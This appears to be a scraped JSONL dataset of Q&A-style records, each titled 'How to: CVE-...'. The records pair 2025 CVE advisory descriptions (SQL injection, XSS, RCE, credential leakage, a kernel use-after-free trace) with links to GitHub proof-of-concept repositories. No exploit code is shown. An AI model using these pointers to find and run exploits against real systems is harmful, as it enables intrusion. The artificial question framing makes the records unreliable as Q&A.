25 18 00 00 00 85 c0 75 10 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 51 c3 48 83 ec 28 89 54 24 1c 48 8974 24 10\\n [   18.881766] RSP: 002b:00007ffcdd00fad8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e\\n [   18.882149] RAX: ffffffffffffffda RBX: 00007ffcdd010db8 RCX: 000000000044a957\\n [   18.882507] RDX: 0000000000000000 RSI: 00007ffcdd00fb70 RDI: 0000000000000003\\n [   18.885037] RBP: 00007ffcdd010bc0 R08: 000000000703c770 R09: 000000000703c7c0\\n [   18.887203] R10: 0000000000000080 R11: 0000000000000246 R12: 0000000000000001\\n [   18.888026] R13: 00007ffcdd010da8 R14: 00000000004ca7d0 R15: 0000000000000001\\n [   18.888395]  </TASK>\\n [   18.888610] ---[ end trace ]---\n```\n- [volticks/CVE-2025-21692-poc](https://github.com/volticks/CVE-2025-21692-poc)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154457"}
{"id": "gh_a382c9707f15", "question": "How to: CVE-2025-21756 (2025-02-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn the Linux kernel, the following vulnerability has been resolved:\\n\\nvsock: Keep the binding until socket destruction\\n\\nPreserve sockets bindings; this includes both resulting from an explicit\\nbind() and those implicitly bound through autobind during connect().\\n\\nPrevents socket unbinding during a transport reassignment, which fixes a\\nuse-after-free:\\n\\n    1. vsock_create() (refcnt=1) calls vsock_insert_unbound() (refcnt=2)\\n    2. transport->release() calls vsock_remove_bound() without checking if\\n       sk was bound and moved to bound list (refcnt=1)\\n    3. vsock_bind() assumes sk is in unbound list and before\\n       __vsock_insert_bound(vsock_bound_sockets()) calls\\n       __vsock_remove_bound() which does:\\n           list_del_init(&vsk->bound_table); // nop\\n           sock_put(&vsk->sk);               // refcnt=0\\n\\nBUG: KASAN: slab-use-after-free in __vsock_bind+0x62e/0x730\\nRead of size 4 at addr ffff88816b46a74c by task a.out/2057\\n dump_stack_lvl+0x68/0x90\\n print_report+0x174/0x4f6\\n kasan_report+0xb9/0x190\\n __vsock_bind+0x62e/0x730\\n vsock_bind+0x97/0xe0\\n __sys_bind+0x154/0x1f0\\n __x64_sys_bind+0x6e/0xb0\\n do_syscall_64+0x93/0x1b0\\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\\n\\nAllocated by task 2057:\\n kasan_save_stack+0x1e/0x40\\n kasan_save_track+0x10/0x30\\n __kasan_slab_alloc+0x85/0x90\\n kmem_cache_alloc_noprof+0x131/0x450\\n sk_prot_alloc+0x5b/0x220\\n sk_alloc+0x2c/0x870\\n __vsock_create.constprop.0+0x2e/0xb60\\n vsock_create+0xe4/0x420\\n __sock_create+0x241/0x650\\n __sys_socket+0xf2/0x1a0\\n __x64_sys_socket+0x6e/0xb0\\n do_syscall_64+0x93/0x1b0\\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\\n\\nFreed by task 2057:\\n kasan_save_stack+0x1e/0x40\\n kasan_save_track+0x10/0x30\\n kasan_save_free_info+0x37/0x60\\n __kasan_slab_free+0x4b/0x70\\n kmem_cache_free+0x1a1/0x590\\n __sk_destruct+0x388/0x5a0\\n __vsock_bind+0x5e1/0x730\\n vsock_bind+0x97/0xe0\\n __sys_bind+0x154/0x1f0\\n __x64_sys_bind+0x6e/0xb0\\n do_syscall_64+0x93/0x1b0\\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\\n\\nrefcount_t: addition on 0; use-after-free.\\nWARNING: CPU: 7 PID: 2057 at lib/refcount.c:25 refcount_warn_saturate+0xce/0x150\\nRIP: 0010:refcount_warn_saturate+0xce/0x150\\n __vsock_bind+0x66d/0x730\\n vsock_bind+0x97/0xe0\\n __sys_bind+0x154/0x1f0\\n __x64_sys_bind+0x6e/0xb0\\n do_syscall_64+0x93/0x1b0\\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\\n\\nrefcount_t: underflow; use-after-free.\\nWARNING: CPU: 7 PID: 2057 at lib/refcount.c:28 refcount_warn_saturate+0xee/0x150\\nRIP: 0010:refcount_warn_saturate+0xee/0x150\\n vsock_remove_bound+0x187/0x1e0\\n __vsock_release+0x383/0x4a0\\n vsock_release+0x90/0x120\\n __sock_release+0xa3/0x250\\n sock_close+0x14/0x20\\n __fput+0x359/0xa80\\n task_work_run+0x107/0x1d0\\n do_exit+0x847/0x2560\\n do_group_exit+0xb8/0x250\\n __x64_sys_exit_group+0x3a/0x50\\n x64_sys_call+0xfec/0x14f0\\n do_syscall_64+0x93/0x1b0\\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n```\n- [hoefler02/CVE-2025-21756](https://github.com/hoefler02/CVE-2025-21756)\n- [KuanKuanQAQ/cve-testing](https://github.com/KuanKuanQAQ/cve-testing)\n- [khoatran107/cve-2025-21756](https://github.com/khoatran107/cve-2025-21756)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": true, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154464"}
{"id": "gh_f89a7c8543de", "question": "How to: CVE-2025-22131 (2025-01-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nPhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Cross-Site Scripting (XSS) vulnerability in the code which translates the XLSX file into a HTML representation and displays it in the response.\n```\n- [ZzN1NJ4/CVE-2025-22131-PoC](https://github.com/ZzN1NJ4/CVE-2025-22131-PoC)\n- [s0ck37/CVE-2025-22131-POC](https://github.com/s0ck37/CVE-2025-22131-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154468"}
{"id": "gh_03fda9596be6", "question": "How to: CVE-2025-22223 (2025-03-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSpring Security 6.4.0 - 6.4.3 may not correctly locate method security annotations on parameterized types or methods. This may cause an authorization bypass. \\n\\nYou are not affected if you are not using @EnableMethodSecurity, or\\nyou do not have method security annotations on parameterized types or methods, or all method security annotations are attached to target methods\n```\n- [1ucky7/cve-2025-22223-demo-1.0.0](https://github.com/1ucky7/cve-2025-22223-demo-1.0.0)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154473"}
{"id": "gh_50bac6314bf8", "question": "How to: CVE-2025-22235 (2025-04-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nEndpointRequest.to() creates a matcher for null/** if the actuator endpoint, for which the EndpointRequest has been created, is disabled or not exposed.\\n\\nYour application may be affected by this if all the following conditions are met:\\n\\n  *  You use Spring Security\\n  *  EndpointRequest.to() has been used in a Spring Security chain configuration\\n  *  The endpoint which EndpointRequest references is disabled or not exposed via web\\n  *  Your application handles requests to /null and this path needs protection\\n\\n\\nYou are not affected if any of the following is true:\\n\\n  *  You don't use Spring Security\\n  *  You don't use EndpointRequest.to()\\n  *  The endpoint which EndpointRequest.to() refers to is enabled and is exposed\\n  *  Your application does not handle requests to /null or this path does not need protection\n```\n- [idealzh/cve-2025-22235-demo](https://github.com/idealzh/cve-2025-22235-demo)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154479"}
{"id": "gh_64726d04fea6", "question": "How to: CVE-2025-22294 (2025-01-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Gravity Master Custom Field For WP Job Manager allows Reflected XSS.This issue affects Custom Field For WP Job Manager: from n/a through 1.3.\n```\n- [mirmeweu/cve-2025-22294](https://github.com/mirmeweu/cve-2025-22294)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154483"}
{"id": "gh_f4aeed8aea39", "question": "How to: CVE-2025-22352 (2025-01-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ELEXtensions ELEX WooCommerce Advanced Bulk Edit Products, Prices & Attributes allows Blind SQL Injection.This issue affects ELEX WooCommerce Advanced Bulk Edit Products, Prices & Attributes: from n/a through 1.4.8.\n```\n- [DoTTak/CVE-2025-22352](https://github.com/DoTTak/CVE-2025-22352)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154490"}
{"id": "gh_f488b862f9d6", "question": "How to: CVE-2025-22457 (2025-04-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA stack-based buffer overflow in Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4, and Ivanti ZTA Gateways before version 22.8R2.2 allows a remote unauthenticated attacker to achieve remote code execution.\n```\n- [Vinylrider/ivantiunlocker](https://github.com/Vinylrider/ivantiunlocker)\n- [sfewer-r7/CVE-2025-22457](https://github.com/sfewer-r7/CVE-2025-22457)\n- [securekomodo/CVE-2025-22457](https://github.com/securekomodo/CVE-2025-22457)\n- [TRone-ux/CVE-2025-22457](https://github.com/TRone-ux/CVE-2025-22457)\n- [Ashwesker/Ashwesker-CVE-2025-22457](https://github.com/Ashwesker/Ashwesker-CVE-2025-22457)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154495"}
{"id": "gh_c737d6bfe3d7", "question": "How to: CVE-2025-22510 (2025-01-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nDeserialization of Untrusted Data vulnerability in Konrad Karpieszuk WC Price History for Omnibus allows Object Injection.This issue affects WC Price History for Omnibus: from n/a through 2.1.4.\n```\n- [DoTTak/CVE-2025-22510](https://github.com/DoTTak/CVE-2025-22510)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154499"}
{"id": "gh_8e0a0041ea83", "question": "How to: CVE-2025-22604 (2025-01-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCacti is an open source performance and fault management framework. Due to a flaw in multi-line SNMP result parser, authenticated users can inject malformed OIDs in the response. When processed by ss_net_snmp_disk_io() or ss_net_snmp_disk_bytes(), a part of each OID will be used as a key in an array that is used as part of a system command, causing a command execution vulnerability. This vulnerability is fixed in 1.2.29.\n```\n- [ishwardeepp/CVE-2025-22604-Cacti-RCE](https://github.com/ishwardeepp/CVE-2025-22604-Cacti-RCE)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154504"}
{"id": "gh_8b0ca0ad21ec", "question": "How to: CVE-2025-22620 (2025-01-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\ngitoxide is an implementation of git written in Rust. Prior to 0.17.0, gix-worktree-state specifies 0777 permissions when checking out executable files, intending that the umask will restrict them appropriately. But one of the strategies it uses to set permissions is not subject to the umask. This causes files in a repository to be world-writable in some situations. This vulnerability is fixed in 0.17.0.\n```\n- [EliahKagan/checkout-index](https://github.com/EliahKagan/checkout-index)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154510"}
{"id": "gh_0c526b097f49", "question": "How to: CVE-2025-22652 (2025-03-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in kendysond Payment Forms for Paystack allows SQL Injection.This issue affects Payment Forms for Paystack: from n/a through 4.0.1.\n```\n- [DoTTak/CVE-2025-22652](https://github.com/DoTTak/CVE-2025-22652)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154515"}
{"id": "gh_a5646ffc671e", "question": "How to: CVE-2025-22710 (2025-01-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in StoreApps Smart Manager allows Blind SQL Injection. This issue affects Smart Manager: from n/a through 8.52.0.\n```\n- [DoTTak/CVE-2025-22710](https://github.com/DoTTak/CVE-2025-22710)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154519"}
{"id": "gh_350f766897ab", "question": "How to: CVE-2025-22777 (2025-01-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nDeserialization of Untrusted Data vulnerability in GiveWP GiveWP allows Object Injection.This issue affects GiveWP: from n/a through 3.19.3.\n```\n- [RandomRobbieBF/CVE-2025-22777](https://github.com/RandomRobbieBF/CVE-2025-22777)\n- [SevDMG/CVE-2025-22777-GiveWP-Plugin-PHP-Object-Injection-Point-PoC-](https://github.com/SevDMG/CVE-2025-22777-GiveWP-Plugin-PHP-Object-Injection-Point-PoC-)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154523"}
{"id": "gh_5813c4917186", "question": "How to: CVE-2025-22783 (2025-03-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in SEO Squirrly SEO Plugin by Squirrly SEO allows SQL Injection.This issue affects SEO Plugin by Squirrly SEO: from n/a through 12.4.03.\n```\n- [DoTTak/CVE-2025-22783](https://github.com/DoTTak/CVE-2025-22783)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154527"}
{"id": "gh_dcf1ea462757", "question": "How to: CVE-2025-22785 (2025-01-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ComMotion Course Booking System allows SQL Injection.This issue affects Course Booking System: from n/a through 6.0.5.\n```\n- [RandomRobbieBF/CVE-2025-22785](https://github.com/RandomRobbieBF/CVE-2025-22785)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154532"}
{"id": "gh_55257f781089", "question": "How to: CVE-2025-22828 (2025-01-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCloudStack users can add and read comments (annotations) on resources they are authorised to access. \\n\\nDue to an access validation issue that affects Apache CloudStack versions from 4.16.0, users who have access, prior access or knowledge of resource UUIDs can list and add comments (annotations) to such resources. \\n\\nAn attacker with a user-account and access or prior knowledge of resource UUIDs may exploit this issue to read contents of the comments (annotations) or add malicious comments (annotations) to such resources. \\n\\nThis may cause potential loss of confidentiality of CloudStack environments and resources if the comments (annotations) contain any privileged information. However, guessing or brute-forcing resource UUIDs are generally hard to impossible and access to listing or adding comments isn't same as access to CloudStack resources, making this issue of very low severity and general low impact.\\n\\n\\nCloudStack admins may also disallow listAnnotations and addAnnotation API access to non-admin roles in their environment as an interim measure.\n```\n- [Stolichnayer/CVE-2025-22828](https://github.com/Stolichnayer/CVE-2025-22828)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154538"}
{"id": "gh_e94dda83dcdc", "question": "How to: CVE-2025-22870 (2025-03-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMatching of hosts against proxy patterns can improperly treat an IPv6 zone ID as a hostname component. For example, when the NO_PROXY environment variable is set to \"*.example.com\", a request to \"[::1%25.example.com]:80` will incorrectly match and not be proxied.\n```\n- [JoshuaProvoste/CVE-2025-22870](https://github.com/JoshuaProvoste/CVE-2025-22870)\n- [Ashwesker/Ashwesker-CVE-2025-22870](https://github.com/Ashwesker/Ashwesker-CVE-2025-22870)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154543"}
{"id": "gh_774e742c05cb", "question": "How to: CVE-2025-22912 (2025-01-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nRE11S v1.11 was discovered to contain a command injection vulnerability via the component /goform/formAccept.\n```\n- [passwa11/RE11S_1.11-formAccept-CommandInjection](https://github.com/passwa11/RE11S_1.11-formAccept-CommandInjection)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154547"}
{"id": "gh_d42af5421b1e", "question": "How to: CVE-2025-22953 (2025-03-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA SQL injection vulnerability exists in Epicor HCM 2021 1.9, with patches available: 5.16.0.1033/HCM2022, 5.17.0.1146/HCM2023, and 5.18.0.573/HCM2024. The injection is specifically in the filter parameter of the JsonFetcher.svc endpoint. An attacker can exploit this vulnerability by injecting malicious SQL payloads into the filter parameter, enabling the unauthorized execution of arbitrary SQL commands on the backend database. If certain features (like xp_cmdshell) are enabled, this may lead to remote code execution.\n```\n- [maliktawfiq/CVE-2025-22953](https://github.com/maliktawfiq/CVE-2025-22953)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154552"}
{"id": "gh_316631879883", "question": "How to: CVE-2025-22954 (2025-03-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nGetLateOrMissingIssues in C4/Serials.pm in Koha before 24.11.02 allows SQL Injection in /serials/lateissues-export.pl via the supplierid or serialid parameter.\n```\n- [RandomRobbieBF/CVE-2025-22954](https://github.com/RandomRobbieBF/CVE-2025-22954)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154556"}
{"id": "gh_f917f2c04374", "question": "How to: CVE-2025-22963 (2025-01-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nTeedy through 1.11 allows CSRF for account takeover via POST /api/user/admin.\n```\n- [gmh5225/CVE-2025-22963](https://github.com/gmh5225/CVE-2025-22963)\n- [samplev45/CVE-2025-22963](https://github.com/samplev45/CVE-2025-22963)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154561"}
{"id": "gh_651572b2de64", "question": "How to: CVE-2025-22964 (2025-01-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nDDSN Interactive cm3 Acora CMS version 10.1.1 has an unauthenticated time-based blind SQL Injection vulnerability caused by insufficient input sanitization and validation in the \"table\" parameter. This flaw allows attackers to inject malicious SQL queries by directly incorporating user-supplied input into database queries without proper escaping or validation. Exploiting this issue enables unauthorized access, manipulation of data, or exposure of sensitive information, posing significant risks to the integrity and confidentiality of the application.\n```\n- [padayali-JD/CVE-2025-22964](https://github.com/padayali-JD/CVE-2025-22964)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154565"}
{"id": "gh_f166d17885a7", "question": "How to: CVE-2025-22968 (2025-01-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue in D-Link DWR-M972V 1.05SSG allows a remote attacker to execute arbitrary code via SSH using root account without restrictions\n```\n- [CRUNZEX/CVE-2025-22968](https://github.com/CRUNZEX/CVE-2025-22968)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154569"}
{"id": "gh_8a52fd18ca7c", "question": "How to: CVE-2025-23040 (2025-01-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nGitHub Desktop is an open-source Electron-based GitHub app designed for git development. An attacker convincing a user to clone a repository directly or through a submodule can allow the attacker access to the user's credentials through the use of maliciously crafted remote URL. GitHub Desktop relies on Git to perform all network related operations (such as cloning, fetching, and pushing). When a user attempts to clone a repository GitHub Desktop will invoke `git clone` and when Git encounters a remote which requires authentication it will request the credentials for that remote host from GitHub Desktop using the git-credential protocol. Using a maliciously crafted URL it's possible to cause the credential request coming from Git to be misinterpreted by Github Desktop such that it will send credentials for a different host than the host that Git is currently communicating with thereby allowing for secret exfiltration. GitHub username and OAuth token, or credentials for other Git remote hosts stored in GitHub Desktop could be improperly transmitted to an unrelated host. Users should update to GitHub Desktop 3.4.12 or greater which fixes this vulnerability. Users who suspect they may be affected should revoke any relevant credentials.\n```\n- [GabrieleDattile/CVE-2025-23040](https://github.com/GabrieleDattile/CVE-2025-23040)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154576"}
{"id": "gh_4dfb1b530750", "question": "How to: CVE-2025-23061 (2025-01-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMongoose before 8.9.5 can improperly use a nested $where filter with a populate() match, leading to search injection. NOTE: this issue exists because of an incomplete fix for CVE-2024-53900.\n```\n- [dajneem23/CVE-2025-23061](https://github.com/dajneem23/CVE-2025-23061)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154580"}
{"id": "gh_0e77605d6807", "question": "How to: CVE-2025-23167 (2025-05-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA flaw in Node.js 20's HTTP parser allows improper termination of HTTP/1 headers using `\\r\\n\\rX` instead of the required `\\r\\n\\r\\n`.\\nThis inconsistency enables request smuggling, allowing attackers to bypass proxy-based access controls and submit unauthorized requests.\\n\\nThe issue was resolved by upgrading `llhttp` to version 9, which enforces correct header termination.\\n\\nImpact:\\n* This vulnerability affects only Node.js 20.x users prior to the `llhttp` v9 upgrade.\n```\n- [abhisek3122/CVE-2025-23167](https://github.com/abhisek3122/CVE-2025-23167)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154585"}
{"id": "gh_64911e377623", "question": "How to: CVE-2025-23247 (2025-05-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nNVIDIA CUDA Toolkit for all platforms contains a vulnerability in the cuobjdump binary, where a failure to check the length of a buffer could allow a user to cause the tool to crash or execute arbitrary code by passing in a malformed ELF file. A successful exploit of this vulnerability might lead to arbitrary code execution.\n```\n- [SpiralBL0CK/CVE-2025-23247](https://github.com/SpiralBL0CK/CVE-2025-23247)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154591"}
{"id": "gh_dd3269bce78b", "question": "How to: CVE-2025-23266 (2025-07-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nNVIDIA Container Toolkit for all platforms contains a vulnerability in some hooks used to initialize the container, where an attacker could execute arbitrary code with elevated permissions. A successful exploit of this vulnerability might lead to escalation of privileges, data tampering, information disclosure, and denial of service.\n```\n- [jpts/cve-2025-23266-poc](https://github.com/jpts/cve-2025-23266-poc)\n- [r0binak/CVE-2025-23266](https://github.com/r0binak/CVE-2025-23266)\n- [Mindasy/cve-2025-23266-migration-bypass](https://github.com/Mindasy/cve-2025-23266-migration-bypass)\n- [mrk336/CVE-2025-23266](https://github.com/mrk336/CVE-2025-23266)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154596"}
{"id": "gh_60ca81c2382f", "question": "How to: CVE-2025-23339 (2025-09-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nNVIDIA CUDA Toolkit for all platforms contains a vulnerability in cuobjdump where an attacker may cause a stack-based buffer overflow by getting the user to run cuobjdump on a malicious ELF file. A successful exploit of this vulnerability may lead to arbitrary code execution at the privilege level of the user running \\ncuobjdump.\n```\n- [SpiralBL0CK/ce-for-CVE-2025-23339](https://github.com/SpiralBL0CK/ce-for-CVE-2025-23339)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154601"}
{"id": "gh_92a94bc49d2e", "question": "How to: CVE-2025-23369 (2025-01-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed signature spoofing for unauthorized internal users.  Instances not utilizing SAML single sign-on or where the attacker is not already an existing user were not impacted. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.12.14, 3.13.10, 3.14.7, 3.15.2, and 3.16.0. This vulnerability was reported via the GitHub Bug Bounty program.\n```\n- [hakivvi/CVE-2025-23369](https://github.com/hakivvi/CVE-2025-23369)\n- [Arian91/CVE-2025-23369_SAML_bypass](https://github.com/Arian91/CVE-2025-23369_SAML_bypass)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154606"}
